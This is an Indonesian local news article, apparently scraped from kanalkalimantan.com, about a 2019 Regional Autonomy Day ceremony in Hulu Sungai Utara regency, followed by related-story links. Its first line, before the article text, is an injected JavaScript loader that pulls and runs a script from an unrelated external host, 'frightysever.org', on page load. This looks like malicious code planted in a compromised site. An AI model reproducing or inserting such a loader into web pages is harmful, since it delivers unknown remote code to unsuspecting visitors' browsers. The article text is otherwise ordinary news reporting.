(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Perlaksanaan Hari Otonomi Daerah ke-23 tahun 2019 di Kabupaten Hulu Sungai Utara (HSU) digelar dengan apel gabungan bersama pejabat dan ASN. Kegiatan berlangsung di halaman kantor Bupati HSU, Kamis (24/4).
Apel ini sebagai salah satu bentuk memasyarakatkan dan memantapkan pelaksanaan otonomi daerah di setiap tingkatan. Mulai pusat sampai dengan daerah, yang sudah berjalan selama 23 tahun. Dengan mengusung tema “Meningkatkan kualitas sumber daya manusia Indonesia yang lebih baik melalui penyelenggaraan otonomi daerah yang kreatif dan inovatif†apel dipimpin Wakil Bupati HSU H Husairi Abdi yang bertindak sebagai inspektur upacara.
Wabup Husairi berkesempatan membacakan amanat Mendagri dalam Hari Otonomi daerah ke-23 tahun 2019 yang menyampaikan, bahwa pada tema peringatan Hari otonomi kali ini merupakan refleksi dari ekstensi dan ekspektasi masyarakat kepada pemerintah dalam meningkatkan kualitas sumber daya manusia. Utamanya untuk memberdayakan otonomi daerah dalam mewujudkan kemandirian kemajuan dan kesejahteraan daerah.
Lebih lanjut, dikatakanya otonomi daerah telah memberikan solusi untuk mendorong kemajuan pembangunan daerah dimana daerah masyarakat didorong dan diberi kesempatan yang luas mengembangkan kreativitas dan inovasinya.
“Muara dari pelaksanaan otonomi daerah adalah terwujudnya kesejahteraan masyarakat melalui peningkatan pelayanan serta para disipasi aktif masyarakat” katanya.
Sehingga diharapkan daerah mampu meningkatkan daya saing dengan memperhatikan prinsip demokrasi, pemerataan, keadilan, keistimewaan kekhususan serta potensi keanekaragaman daerah.
Dirinya menyebut, perkembangan pelaksanaan ekonomi daerah telah dirasakan, namun masih perlu adanya perbaikan dan penyempurnaan untuk itu upaya penataan penyelenggaraan otonomi daerah secara konferensi perlu terus dilakukan salah satunya dengan memberikan arahan dan pedoman regulasi bagi daerah.
Wabup juga mengajak agar masyarakat dapat mengawal otonomi daerah agar selalu diisi dengan kegiatan-kegiatan dalam meningkatkan kinerja penyelenggara pemerintah daerah yang berorientasi pada pelayanan masyarakat guna mewujudkan kesejahteraan rakyat dan peningkatan sumber daya manusia melalui kegiatan kreatif dan inovatif.
Ditambah mendorong munculnya kemandirian yang digerakkan oleh kreativitas dan inovasi daerah dalam mengoptimalkan berbagai potensi sumber daya yang ada, sehingga akan mendukung dan memperkokoh pembangunan nasional dalam bingkai NKRI.
“Mari kita tingkatkan kinerja penyelenggara pemerintah melalui keserasian hubungan pemerintah pusat dengan pemerintah daerah, pemerintah daerah dengan DPRD dan masyarakat, sehingga tercipta tata kelola hubungan pemerintahan yang strategis,” tegasnya.
Terakhir dirinya berharap agar semangat hari otonomi daerah dapat merefleksikan kembali makna otonomi daerah dan menjadi spirit untuk melakukan yang terbaik bagi bangsa. (Diskominfo/Wahyu)
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
This website uses cookies.